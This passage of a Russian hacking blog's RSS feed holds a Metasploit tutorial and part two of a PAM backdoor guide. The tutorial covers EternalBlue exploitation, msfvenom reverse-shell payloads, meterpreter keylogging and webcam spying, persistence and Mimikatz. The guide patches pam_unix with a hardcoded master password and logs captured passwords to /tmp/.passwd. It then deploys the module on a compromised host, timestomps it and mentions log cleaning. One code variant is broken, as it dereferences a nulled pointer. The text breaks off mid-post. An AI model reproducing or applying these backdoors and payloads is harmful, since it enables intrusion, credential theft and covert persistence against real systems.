  <p id="GdNe">Обе нагрузки — reverse_shell для Windows. Первый пэйлод представляет собой встроенную (или одиночную, single) полезную нагрузку, на что указывает символ <code>_</code> между «shell» и «reverse». Второй пэйлод — поэтапная (staged) полезная нагрузка, на что указывает символ <code>/</code> между «shell» и «reverse».</p>
  <p id="gEXo">Staged Payloads загружаются на машину при помощи Stager.</p>
  <h3 id="Запуск-консоли-и-работа-с-модулями">Запуск консоли и работа с модулями</h3>
  <p id="lNOg"><strong>Консоль запускается при помощи команды</strong>: <code>msfconsole</code></p>
  <figure id="Makg" class="m_column">
    <img src="https://telegra.ph/file/93cb359b7f59534cd3558.png" width="488" />
    <figcaption>Запуск консоли</figcaption>
  </figure>
  <p id="hQa1">Находясь в самой консоли, можно использовать все команды Linux системы: cat, ls, pwd, clear и т.д.:</p>
  <figure id="Ypjm" class="m_column">
    <img src="https://telegra.ph/file/e55bdb3c2c12699b9c6a7.png" width="520" />
    <figcaption>Исполнение команд ОС из MSFConsole</figcaption>
  </figure>
  <p id="BbKp"><strong>Выбрать модуль</strong>: <code>use exploit/windows/smb/ms17_010_eternalblue</code></p>
  <p id="UtZK">Если отсюда использовать <code>show payloads</code>, то MSF покажет только те нагрузки, которые можно использовать с текущим модулем.</p>
  <p id="SKyr">Выйти из текущего модуля: <code>back</code>.</p>
  <figure id="mgwz" class="m_column">
    <img src="https://telegra.ph/file/1bcf48ea033b1f455af20.png" width="1073" />
    <figcaption>Пэйлоды для эксплойта</figcaption>
  </figure>
  <p id="CGTF">Получить информацию о модуле можно следующими способами:</p>
  <p id="cAgF"><code>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; info</code> — из контекста выбранного модуля;</p>
  <p id="1LqX"><code>msf6 &gt; info exploit/windows/smb/ms17_010_eternalblue</code> — из консоли напрямую.</p>
  <figure id="jcJw" class="m_column">
    <img src="https://telegra.ph/file/07f790cff374a718706fc.png" width="628" />
    <figcaption>Получение информации о модуле</figcaption>
  </figure>
  <p id="alyN"><strong>Поиск модулей</strong>:</p>
  <pre id="E2BX">msf6 &gt; search ms17-010
msf6 &gt; search type:auxiliary telnet
</pre>
  <figure id="8Vu3" class="m_column">
    <img src="https://telegra.ph/file/c664fe54be3ea8c54f6fa.png" width="967" />
    <figcaption>Поиск модуля ms17-010</figcaption>
  </figure>
  <p id="cCCh"><em>Примечание:</em></p>
  <p id="Jdrr"><em><strong>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</strong> — context prompt (выбран модуль или, по-другому, установлен контекст);</em></p>
  <p id="XYZj"><em><strong>msf6 &gt;</strong> — MSF prompt, контекст не установлен, поэтому здесь нельзя использовать контекстно-зависимые команды для установки параметров и запуска модулей.</em></p>
  <h4 id="Конфигурация-модуля">Конфигурация модуля</h4>
  <p id="D5JY"><strong>Установка параметров осуществляется при помощи директив set и setg</strong>: <code>set</code> (в рамках контекста) и <code>setg</code> (для всех модулей). Просмотреть значения установленных параметров можно при помощи команды <code>show options</code>.</p>
  <figure id="v7xQ" class="m_column">
    <img src="https://telegra.ph/file/53f642b0cc85f187f288d.png" width="795" />
    <figcaption>Получения информации о настройках модуля</figcaption>
  </figure>
  <p id="iYTR">На примере параметра RHOST (remote host):</p>
  <pre id="qqbw">set RHOSTS 10.10.165.39
set RHOSTS 10.10.165.0/24
set RHOSTS 10.10.165.1-10.10.165.15
set RHOSTS file:/path/of/the/target_file.txt

setg RHOSTS 10.10.165.39
...
</pre>
  <p id="wACq"><strong>Сборс значений параметров</strong> осуществляется через <code>unset</code> или <code>unsetg</code>:</p>
  <pre id="kybh">unset RHOSTS
unset all

unsetg RHOSTS
...
</pre>
  <p id="2DUa">В списке параметров иногда можно заметить любопытный параметр <strong>SESSION</strong>: каждое соединение, установленное с целевой системой с помощью Metasploit, будет иметь идентификатор сеанса. Используется с модулями пост-эксплуатации, которые будут подключаться к целевой системе, используя существующее соединение.</p>
  <figure id="bUn3" class="m_column">
    <img src="https://telegra.ph/file/1862aeaa9cb9649c87b98.png" width="1021" />
    <figcaption>Параметр SESSION у модуля постэксплуатации</figcaption>
  </figure>
  <h4 id="Запуск-модуля">Запуск модуля</h4>
  <p id="7FPL"><strong>Запуск модулей осуществляется при помощи двух команд</strong>: <code>exploit</code> или <code>run</code>.</p>
  <p id="ogrp">Команду <code>exploit</code> можно использовать без каких-либо параметров или с параметром «<code>-z</code>». Команда <code>exploit -z</code> запустит сессию в бэкграунде, как только она откроется.</p>
  <figure id="Gc5K" class="m_column">
    <img src="https://telegra.ph/file/d7c862ea29a69affbe709.png" width="961" />
  </figure>
  <figure id="rc2I" class="m_column">
    <img src="https://telegra.ph/file/8dc303f4c64d2d65299d9.png" width="864" />
    <figcaption>Успешная эксплуатация eternalblue и открытие сессии meterpreter</figcaption>
  </figure>
  <p id="Ktk5">Некоторые эксплойты поддерживают команду <code>check</code> для проверки, уязвима ли цель. Например, так выглядит использование команды <code>check</code> для модуля <strong>exploit(windows/smb/ms17_010_eternalblue)</strong>:</p>
  <pre id="bXdc">msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; check

[*] 10.10.106.64:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.106.64:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.106.64:445   - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.106.64:445 - The target is vulnerable.
</pre>
  <figure id="7Ras" class="m_column">
    <img src="https://telegra.ph/file/c3c480204819f6714f954.png" width="814" />
    <figcaption>Функция check</figcaption>
  </figure>
  <h4 id="Сессии">Сессии</h4>
  <p id="Uru7">В случае успешной эксплуатации уязвимости у нас открывается сессия:</p>
  <pre id="J30f">meterpreter &gt; 
</pre>
  <p id="bUOI">Для того, чтобы перевести сессию в фон, используется команда <code>background</code> или сочетание клавиш <code>CTRL+Z</code>.</p>
  <p id="Zdd3">Для просмотра открытых сессий используется команда <code>sessions</code>. Команду можно использовать из msfconsole prompt или любого контекста.</p>
  <p id="j86j">У каждой сессии есть свой ID. Для взаимодействия с открытой сессией используется команда <code>sessions -i ID</code>, например:</p>
  <pre id="Snpp">sessions -i 2 — открывает сессию с ID=2 из результата команды sessions.
sessions -i -1 — открывает последнюю созданную сессию
</pre>
  <figure id="RDC6" class="m_column">
    <img src="https://telegra.ph/file/3883ee5eaf7ac3937c5b1.png" width="858" />
    <figcaption>Работа с сессиями</figcaption>
  </figure>
  <h4 id="Scan-with-MetaSploit">Scan with MetaSploit</h4>
  <p id="cruL">Напоследок рассмотрим вспомогательные модули, позволяющие сканировать популярные протоколы.</p>
  <p id="xZ8G">Команда <code>search portscan</code> показывает доступные модули для сканирования портов и различных сервисов:</p>
  <figure id="OIwD" class="m_original">
    <img src="https://telegra.ph/file/0ac0583319b86eb95cd4e.png" width="451" />
    <figcaption>Поиск модулей для сканирования портов</figcaption>
  </figure>
  <p id="FgQD">Но это далеко не все варианты сканирований. Как пример, вот модуль идентификации служб UDP:</p>
  <pre id="APLB">auxiliary(scanner/discovery/udp_sweep)
</pre>
  <p id="oK53">А вот несколько модулей для SMB-сканирования:</p>
  <pre id="d7J1">auxiliary(scanner/smb/smb_version)
auxiliary(scanner/smb/smb_enumshares) 
auxiliary(scanner/smb/smb_login) — им можно брутить SMB
</pre>
  <h3 id="MSFVenom">MSFVenom</h3>
  <p id="1N0t">Metasploit позволяет не только пробивать внешний периметр и использовать заранее подготовленные эксплойты, но также и даёт возможность, например, использовать самостоятельный .exe файл для апгрейда шелла до meterpreter (наиболее стабильный и предпочтительный шелл для ОС Windows). В состав MSF входит утилита msfvenom, которая реализует создание кастомных полезных нагрузок, совместимых с MSF.</p>
  <p id="YTUz">Увидеть весь список полезных нагрузок можно следующей командой:</p>
  <pre id="eByg">msfvenom -l payloads
</pre>
  <figure id="m8rb" class="m_column">
    <img src="https://telegra.ph/file/f27ea21106ad3d8d15491.png" width="974" />
    <figcaption>Нагрузки для MSFVenom</figcaption>
  </figure>
  <p id="YnQL">Вывод списка поддерживаемых форматов:</p>
  <pre id="sq7a">msfvenom --list formats
</pre>
  <figure id="C1mf" class="m_original">
    <img src="https://telegra.ph/file/5299b9dca6560c4d8c9bf.png" width="472" />
    <figcaption>Форматы выходных файлов</figcaption>
  </figure>
  <p id="dHaA">Кодирование нагрузки возможно при помощи опции <code>-e</code>:</p>
  <pre id="zoIr">msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
</pre>
  <p id="YGt5">Результат:</p>
  <pre id="i5n8">eval(base64_decode(Lyo8P3BocCA.....));
</pre>
  <p id="V7bW">В данном случае результат в raw формате, закодированный в base64.</p>
  <figure id="xLui" class="m_column">
    <img src="https://telegra.ph/file/7b516689bc1780956bf82.png" width="843" />
    <figcaption>Создание закодированной нагрузки</figcaption>
  </figure>
  <p id="dAp8">Ниже приведу несколько полезных нагрузок (stager, stageless) для разных ОС</p>
  <p id="o8mG"><strong>Linux</strong>:</p>
  <pre id="4AVW">msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf &gt; rev_shell.elf
</pre>
  <p id="SrJ3"><strong>Windows</strong>:</p>
  <pre id="bmge">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &gt; rev_shell.exe
</pre>
  <p id="lDp9"><strong>PHP</strong>:</p>
  <pre id="zGRN">msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &gt; rev_shell.php
</pre>
  <p id="xKdE"><strong>ASP</strong>:</p>
  <pre id="BklY">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp &gt; rev_shell.asp
</pre>
  <p id="1Dt9"><strong>Python</strong>:</p>
  <pre id="1s91">msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &gt; rev_shell.py
</pre>
  <h3 id="Handler">Handler</h3>
  <p id="Fqge">Ловить шелл, полученный при помощи созданной msfvenom нагрузки, можно путём листенера exploit/multi/handler, входящего в состав MSF. В отличие от nc, handler позволит нам ловить и сложные шеллы, например, упомянутый ранее meterpreter.</p>
  <p id="KY0u">Давайте рассмотрим пример. Генерация полезной нагрузки в файл:</p>
  <pre id="2QSh">msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw &gt; reverse_shell.php
</pre>
  <p id="NMWf">Для ловли обратной оболочки будем использовать мульти-хэндлер:</p>
  <pre id="Wx5Q">use exploit/multi/handler
set payload php/reverse_php
msf6 exploit(multi/handler) &gt; set lhost 10.0.2.19
msf6 exploit(multi/handler) &gt; set lport 7777 
run
</pre>
  <h4 id="Рассмотрим-пример-с-Windows">Рассмотрим пример с Windows</h4>
  <p id="H3eO">Создаём полезную нагрузку:</p>
  <pre id="TWap">msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.100.74 LPORT=4444 -f exe -o rev_shell.exe 
</pre>
  <figure id="We8p" class="m_column">
    <img src="https://telegra.ph/file/cf7d999f5e41c1a335e4e.png" width="826" />
    <figcaption>Генерация полезной нагрузки</figcaption>
  </figure>
  <p id="6jUR">Запускаем листенер:</p>
  <pre id="cqdO">msfconsole -x &quot;use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST 192.168.100.74; set LPORT 4444; exploit&quot; 
</pre>
  <figure id="w3tn" class="m_column">
    <img src="https://telegra.ph/file/88cd32281c91b5b4f63ff.png" width="924" />
    <figcaption>Запуск листенера одной командой</figcaption>
  </figure>
  <p id="WOVe">Скачиваем и запускаем шелл:</p>
  <figure id="iZRq" class="m_column">
    <img src="https://telegra.ph/file/65412f452410497321f1d.png" width="847" />
    <figcaption>Загрузка и запуск шелла на атакуемой машине</figcaption>
  </figure>
  <p id="83Yi">И получаем отстук!</p>
  <figure id="DGFW" class="m_column">
    <img src="https://telegra.ph/file/ec7ab73d1cb693f440e88.png" width="627" />
    <figcaption>Полученный шелл</figcaption>
  </figure>
  <p id="RJUN">Но в данном случае у нас очень &quot;слабая&quot; оболочка, не раскрывающая всех прелестей MSF. Поэтому загрейдим шелл до meterpreter!</p>
  <h3 id="Meterpreter">Meterpreter</h3>
  <p id="FW85">Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации.</p>
  <p id="FaiI">Поднять сеанс до meterpreter можно следующими способами:</p>
  <pre id="r8MQ">use post/multi/manage/shell_to_meterpreter
set SESSION 1
exploit

# or
sessions -u 1
</pre>
  <figure id="vs5T" class="m_column">
    <img src="https://telegra.ph/file/3ec303fd4e1ba232db11f.png" width="918" />
    <figcaption>Апгрейд оболочки до meterpreter</figcaption>
  </figure>
  <p id="SBWc">Заходим в полученную сессию и пользуемся всеми возможностями meterpreter!</p>
  <figure id="EzJS" class="m_column">
    <img src="https://telegra.ph/file/4a47b91d6e7b7cfeb5e20.png" width="917" />
    <figcaption>Повышение шелла до meterpreter и повышение до системы</figcaption>
  </figure>
  <p id="IY3Q">Второй способ:</p>
  <figure id="xQ7T" class="m_column">
    <img src="https://telegra.ph/file/190fc570df3e86ebd17f5.png" width="847" />
    <figcaption>Повышение сессии до meterpreter вторым способом</figcaption>
  </figure>
  <h4 id="Команды-meterpreter">Команды meterpreter</h4>
  <p id="nL5p"><strong>Основные команды</strong>:</p>
  <p id="4F8T"><code>background</code> | делает фоновым текущий сеанс;</p>
  <p id="ZwUd"><code>exit</code> | завершает сеанс Meterpreter;</p>
  <p id="K19d"><code>guid</code> | позволяет получить GUID сеанса;</p>
  <p id="xehb"><code>help</code> | отображает меню справки;</p>
  <p id="SxMb"><code>info</code> | отображает информацию о модуле Post (модули постэксплуатации);</p>
  <p id="Z8bE"><code>irb</code> | открывает интерактивную оболочку Ruby в текущем сеансе;</p>
  <p id="arAx"><code>load</code> | загружает одно или несколько расширений Meterpreter;</p>
  <p id="Dujs"><code>migrate</code> | позволяет перенести Meterpreter в другой процесс;</p>
  <p id="EDn1"><code>run</code> | выполняет скрипт Meterpreter или модуль Post;</p>
  <p id="aN7I"><code>sessions</code> | позволяет быстро переключиться на другой сеанс.</p>
  <p id="WkFr"><strong>Команды файловой системы</strong>:</p>
  <p id="2F5P"><code>cd</code> | позволяет изменить рабочий каталог;</p>
  <p id="lQdv"><code>ls</code>, <code>dir</code> | отображает список файлов в текущем каталоге;</p>
  <p id="hOZZ"><code>pwd</code> | печатает путь рабочего каталога;</p>
  <p id="HmjI"><code>edit</code> | позволяет редактировать файлы;</p>
  <p id="XhMN"><code>cat</code> | покажет содержимое файла на экране;</p>
  <p id="6mYv"><code>rm</code> | удалит указанный файл;</p>
  <p id="gmB4"><code>search</code> | будет искать файлы по маскам или названию;</p>
  <p id="lqwQ"><code>upload</code> | позволяет загрузить файл или каталог с атакующей машины на атакуемую;</p>
  <p id="zBZv"><code>download</code> | позволяет загрузить файл или каталог с атакуемой машины.</p>
  <p id="ucsZ"><strong>Сетевые команды</strong>:</p>
  <p id="SPFS"><code>arp</code> | отображает кэш хоста ARP (протокол разрешения адресов);</p>
  <p id="9WIj"><code>ifconfig</code> | отображает сетевые интерфейсы, доступные в целевой системе;</p>
  <p id="fmFt"><code>netstat</code> | отображает сетевые подключения;</p>
  <p id="wWue"><code>portfwd</code> | перенаправляет локальный порт на удаленную службу;</p>
  <p id="ehqz"><code>route</code> | позволяет просматривать и изменять таблицу маршрутизации.</p>
  <p id="e246"><strong>Системные команды</strong>:</p>
  <p id="IoZN"><code>clearev</code> | очищает журналы событий;</p>
  <p id="nOgt"><code>execute</code> | выполняет единичную команду в системе;</p>
  <p id="afIu"><code>getpid</code> | показывает текущий идентификатор процесса;</p>
  <p id="ieDD"><code>getuid</code> | показывает пользователя, под которым работает нагрузка;</p>
  <p id="vZAj"><code>kill</code> | завершает процесс по PID;</p>
  <p id="3BF4"><code>pkill</code> | завершает процесс по имени;</p>
  <p id="MOHn"><code>ps</code> | отображает список запущенных процессов;</p>
  <p id="ge7w"><code>reboot</code> | перезагружает удаленный компьютер;</p>
  <p id="orfr"><code>shell</code> | предоставляет системную командную оболочку;</p>
  <p id="KiWk"><code>shutdown</code> | выключает атакуемый компьютер;</p>
  <p id="fXKG"><code>sysinfo</code> | получает информацию об удаленной системе.</p>
  <p id="Ztud"><strong>Другие команды</strong></p>
  <p id="Sjuh"><code>idletime</code> | возвращает количество секунд бездействия удаленного пользователя;</p>
  <p id="azHY"><code>keyscan_dump</code> | дампит буфер нажатий клавиш;</p>
  <p id="ZVCq"><code>keyscan_start</code> | начинает захват нажатий клавиш (кейлоггинг);</p>
  <p id="d3T3"><code>keyscan_stop</code> | прекращает захват нажатий клавиш;</p>
  <p id="HA6L"><code>screenshare</code> | позволяет наблюдать за рабочим столом удаленного пользователя в режиме реального времени;</p>
  <p id="YZia"><code>screenshot</code> | делает снимок экрана интерактивного рабочего стола;</p>
  <p id="rImI"><code>record_mic</code> | записывает звук с микрофона по умолчанию в течение X секунд;</p>
  <p id="6oqC"><code>webcam_chat</code> | начинает видеочат;</p>
  <p id="AzCe"><code>webcam_list</code> | выводит список веб-камер;</p>
  <p id="j4ZO"><code>webcam_snap</code> | делает снимок с указанной веб-камеры;</p>
  <p id="oLya"><code>webcam_stream</code> | воспроизводит видеопоток с указанной веб-камеры;</p>
  <p id="aH67"><code>getsystem</code> | осуществляет попытки повысить привилегии до привилегий системы (отлично справляется с SeImpersonatePrivilege);</p>
  <p id="D9JU"><code>hashdump</code> | позволяет осуществить дамп содержимого базы данных SAM.</p>
  <h3 id="Закрепление-на-машине">Закрепление на машине</h3>
  <p id="teZV">В случае, если мы получили шелл meterpreter на машине, у нас открывается возможность закрепиться:</p>
  <pre id="zK7l">use exploit/windows/local/persistence
set session 1
run
</pre>
  <p id="SRkV">Либо в сессии Meterpreter:</p>
  <pre id="ZFqd">run exploit/windows/local/persistence -U -i 5 -p 443 -r 192.168.1.71
</pre>
  <p id="T0NF">Опции:</p>
  <p id="PWbW"><code>-A</code> | автоматически запускает соответствующий exploit/multi/handler для подключения к агенту;</p>
  <p id="0z70"><code>-L</code> | указывает местоположение на целевом хосте для записи полезных данных (по умолчанию %TEMP%);</p>
  <p id="McEo"><code>-P</code> | определяет используемую полезная нагрузка, по умолчанию — windows/meterpreter/reverse_tcp;</p>
  <p id="Pstq"><code>-S</code> | автоматически запускает агент при загрузке как службу (с системными привилегиями);</p>
  <p id="Vcbx"><code>-T</code> | альтернативный исполняемый шаблон для использования;</p>
  <p id="WCfG"><code>-U</code> | автоматически запускает агент при входе пользователя в систему;</p>
  <p id="TJKR"><code>-X</code> | автоматически запускает агент при загрузке системы;</p>
  <p id="o0BV"><code>-h</code> | выводит меню помощи;</p>
  <p id="YLx1"><code>-i</code> | интервал в секундах между каждой попыткой подключения;</p>
  <p id="P19F"><code>-p</code> | порт, который прослушивает система, на которой запущен Metasploit;</p>
  <p id="l6wU"><code>-r</code> | IP-адрес системы, на которой работает Metasploit, прослушивающей обратное соединение.</p>
  <h3 id="Mimikatz-in-Meterpreter">Mimikatz in Meterpreter</h3>
  <p id="SKOB">Ну и напоследок нельзя не поговорить о Mimikatz, присутствующем как модуль постэксплуатации в MSF:</p>
  <pre id="iAg7">load kiwi
</pre>
  <figure id="d3oQ" class="m_column">
    <img src="https://telegra.ph/file/994125ada94b4bed5034d.png" width="884" />
    <figcaption>Дамп кредов при помощи kiwi</figcaption>
  </figure>
  <p id="UA3D">Также мы запросто можем осуществить DCSync:</p>
  <figure id="20AZ" class="m_column">
    <img src="https://telegra.ph/file/ac06499d223edb21676ac.png" width="933" />
    <figcaption>DCSync</figcaption>
  </figure>
  <p id="BESR">На этом мы закончим начальное знакомство с фреймворком. Это далеко не весь функционал ПО, однако, я оставлю его вам на самостоятельное изучение.</p>
  <p id="cGTr">До новых встреч!</p>
  <figure id="PQ6v" class="m_column">
    <img src="https://telegra.ph/file/9d4881adf11e2eca080db.png" width="809" />
    <figcaption>До новых встреч!</figcaption>
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/pam_backdoor_part_2</guid><link>https://teletype.in/@hackerblog/pam_backdoor_part_2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/pam_backdoor_part_2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>PAM backdoor by artrone ЧАСТЬ 2/2</title><pubDate>Wed, 24 Jan 2024 14:15:54 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/98/34/9834cf86-74e2-485d-8be8-d7ce0e206392.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/44/21/44213325-00d8-4f4d-bc4d-b6434bf43506.jpeg"></img>Добро пожаловать во вторую часть статьи &quot;PAM backdoor&quot;. В предыдущей части мы обсудили, что такое PAM (Pluggable Authentication Modules) и как можно создать собственный модуль для PAM. В этой второй части мы пойдём немного по другому пути и изменим уже существующий модуль, а также настроим логирование для сбора паролей.]]></description><content:encoded><![CDATA[
  <p id="oA7R">Добро пожаловать во вторую часть статьи &quot;PAM backdoor&quot;. В предыдущей части мы обсудили, что такое PAM (Pluggable Authentication Modules) и как можно создать собственный модуль для PAM. В этой второй части мы пойдём немного по другому пути и изменим уже существующий модуль, а также настроим логирование для сбора паролей.</p>
  <p id="T0ab">Кто не читал первую часть, вам сюда: <a href="https://teletype.in/@hackerblog/pam_backdoor_part_1" target="_blank">https://teletype.in/@hackerblog/pam_backdoor_part_1</a></p>
  <h2 id="iN5H">Способ 2. Модификация модуля</h2>
  <p id="ExSj">Если немножко вспомним прошлую статью, то заметим, что в качестве &quot;стандарта&quot;, сервисы для авторизации используют <code>common-auth</code>, в котором содержится общий модуль <code>pam_unix.so</code></p>
  <pre id="SzGL" data-lang="bash">cat su 
@include common-auth</pre>
  <pre id="nIVU" data-lang="bash">cat sshd 
# Standard Un*x authentication.
@include common-auth</pre>
  <pre id="8dn4" data-lang="bash">cat sudo-i 
@include common-auth</pre>
  <p id="vrVe">и т.д.</p>
  <p id="Zhcr">Собственно, вот и комментарий в common-auth, который описывает для чего он нужен и с чем его едят:</p>
  <pre id="guwV" data-lang="bash">#/etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.).  The default is to use the
# traditional Unix authentication mechanisms.</pre>
  <p id="tWK7">А вот и сам подключаемый модуль, который нам интересен:</p>
  <pre id="Fl9q" data-lang="bash">cat common-auth 
auth    [success=1 default=ignore]      pam_unix.so nullok</pre>
  <p id="rTe3"></p>
  <p id="vhuk">На данном этапе необходимо определить порядок действий:</p>
  <ol id="UAET">
    <li id="9u63">Получаем исходник <code>pam_unix.so</code></li>
    <li id="KlD9">Модифицируем его</li>
    <li id="VlOl">Компилируем</li>
    <li id="Z6Ue">Заменяем &quot;стандарт&quot; на свой</li>
    <li id="7w19">Профит!</li>
  </ol>
  <h2 id="b2Kl">Перейдем к практике</h2>
  <p id="jK1e"><em><u>UPD: Данную атаку буду проводить через Remote вектор (удаленно).</u></em></p>
  <p id="RA0P">Собственно, схема стандартная: скомпрометировал хост и хочу закрепиться в системе. </p>
  <figure id="8zEx" class="m_column">
    <img src="https://img3.teletype.in/files/68/69/6869cfc9-933b-4c95-9826-f1b009251980.png" width="637" />
  </figure>
  <h3 id="u5Jj">1. Получение исходников</h3>
  <p id="vkph"><em>произвожу действия на своём хосте</em></p>
  <p id="mFkc">Проверяем версию:</p>
  <pre id="OuQv" data-lang="bash"> dpkg -l | grep pam
ii  libpam-gnome-keyring:amd64                     42.1-1+b2                            amd64        PAM module to unlock the GNOME keyring upon login
ii  libpam-modules:amd64                           1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM
ii  libpam-modules-bin                             1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM - helper binaries
ii  libpam-runtime                                 1.5.2-9.1                            all          Runtime support for the PAM library
ii  libpam0g:amd64                                 1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules library
ii  libpam0g-dev:amd64                             1.5.2-9.1ubuntu1                         amd64        Development files for PAM
Как видим, версия PAM 1.5.2</pre>
  <pre id="hIQT" data-lang="bash">wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.2/Linux-PAM-1.5.1.tar.xz</pre>
  <p id="6MRR">*версию выбираете сами</p>
  <pre id="m7bH" data-lang="bash">tar -xf Linux-PAM-1.5.2.tar.xz</pre>
  <pre id="KQdg" data-lang="bash">cd Linux-PAM-1.5.2/modules/pam_url</pre>
  <p id="jWJl">Среди множества файлов модуля <code>pam_unix</code>, нам необходим следующий :</p>
  <figure id="m6FK" class="m_column">
    <img src="https://img2.teletype.in/files/95/de/95de454e-76e6-47e8-bc5b-d0b5f372dacb.png" width="570" />
  </figure>
  <h3 id="Bj8Z">2. Модификация</h3>
  <p id="WbEy">Открываем его:</p>
  <figure id="Buj5" class="m_column">
    <img src="https://img2.teletype.in/files/13/77/1377faff-6286-4db6-bb4a-369b1754d7ac.png" width="883" />
  </figure>
  <p id="rnXV">Находим 172-ю строку и модифицируем код, добавляя дополнительную проверку пароля</p>
  <pre id="U52t" data-lang="c">if (strcmp(p, &quot;the-world-is-yours&quot;) != 0) 
retval = _unix_verify_password(pamh, name, p, ctrl);
else
retval = PAM_SUCCESS;</pre>
  <p id="LqlW">Также можно сделать так:</p>
  <pre id="ggcC" data-lang="c">retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
if (strcmp(p,&quot;magic&quot;) == 0)
retval = PAM_SUCCESS; </pre>
  <figure id="Zz1n" class="m_original">
    <img src="https://img3.teletype.in/files/ae/0f/ae0f5706-eaa9-45c8-a824-019bc088116c.png" width="562" />
  </figure>
  <p id="Pbfh">Собственно, мы добавили новое условие проверки пароля. Если говорить словами, то будет что-то типо: &quot;Если количество различий введенных символов со строкой &#x27;bye&#x27; равны нулю, то возвращаемое значение будет равно &#x27;PAM_SUCCESS&#x27; &quot;.</p>
  <p id="8qdb">Теперь накатим логирование:</p>
  <pre id="gtaI" data-lang="c">if (retval == PAM_SUCCESS) { 
FILE *fd; 
fd = fopen(&quot;/tmp/.passwd&quot;, &quot;a&quot;); 
fprint(fd, &quot;%s:%sn&quot;, name, p); 
fclose(fd); 
}</pre>
  <p id="MSwt">В конечном итоге, получилось так:</p>
  <figure id="2ieY" class="m_column">
    <img src="https://img3.teletype.in/files/63/40/63401c09-805a-4d38-9c4d-9c11b536b769.png" width="624" />
  </figure>
  <p id="TBQg">Теперь логи будут лететь в /tmp/.passwd</p>
  <h3 id="efSD">3. Компиляция </h3>
  <p id="yUt8">Поскольку я имею две разные системы (несмотря на одинаковую версию PAM): kali и xubuntu, скомпилированный модуль на kali не подойдет для xubuntu и наоборот. Вас будут ждать эти пять заветных слов при попытки авторизации &quot;Permission denied, please try again.&quot;...</p>
  <p id="d0ST">Если есть какой-то способ обойти это- отпишитесь. Будет очень интересно почитать.</p>
  <pre id="lEHv" data-lang="bash">cd Linux-PAM-1.5.2</pre>
  <pre id="pjDT" data-lang="bash">./configure</pre>
  <pre id="WIFl" data-lang="bash">make</pre>
  <p id="xLlx">Также хочу отметить, что при компиляции я столкнулся с рядом проблем:<br />1.<code> Fatal error: rpc/rpc.h: No such file or directory</code></p>
  <p id="OrQn">Фикс: </p>
  <pre id="oa3B" data-lang="bash">apt install libntirpc-dev
dpkg -L libntirpc-dev</pre>
  <p id="efzc">2. <code>In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c<br />error: unknown type name &#x27;int32_t&#x27;</code></p>
  <p id="aQNe">Фикс: </p>
  <p id="PBiS">В файле yppasswd_xdr.c подключаем </p>
  <pre id="9Y21" data-lang="c">#include &lt;stdint.h&gt;</pre>
  <p id="TSMc">3. <code>In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c<br />error: unknown type name &#x27;u_int32_t&#x27;</code></p>
  <p id="v4LM">Фикс:</p>
  <p id="GZZM">В файле /usr/include/tirpc/rpc/types.h меняем <code>u_int32_t</code> на <code>uint32_t</code></p>
  <h3 id="ZyFX">4. Заменяем &quot;стандарт&quot; на свой</h3>
  <p id="qvt9">Итак, после того, как мы изменили файл pam_unix_auth.c, необходимо закинуть на целевой хост папку с PAM&#x27;ом</p>
  <pre id="4Pe5" data-lang="bash">tar -zcvf temp.tar.gz Linux-PAM-1.5.2</pre>
  <pre id="zoRJ" data-lang="bash">python3 -m http.server</pre>
  <pre id="zBEW" data-lang="bash">wget http://ip:8000/temp.tar.gz</pre>
  <p id="rDI4">Далее, делаем действия из пункта <strong>3</strong>.</p>
  <p id="bq8P">После этого, распаковываем файл и заменяем его:</p>
  <pre id="tvmP" data-lang="bash">tar -xvf temp.tar.gz</pre>
  <pre id="01ZJ" data-lang="bash">mv Linux-PAM-1.5.2/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu-security</pre>
  <p id="ngpx">Также стоит дать нужные права и поменять временные метки файла:</p>
  <pre id="FjBe" data-lang="bash">chmod 644 pam_unix.so</pre>
  <pre id="d2iM" data-lang="bash">touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so</pre>
  <figure id="AKhE" class="m_column">
    <img src="https://img2.teletype.in/files/9f/6d/9f6d6b63-4bbe-408f-8a26-54c33d0b17b4.png" width="501" />
  </figure>
  <p id="vykB"><em>Ну и чистка логов в дальнейшем.</em></p>
  <p id="FjgE">Проверяем результат:</p>
  <figure id="AQYk" class="m_column">
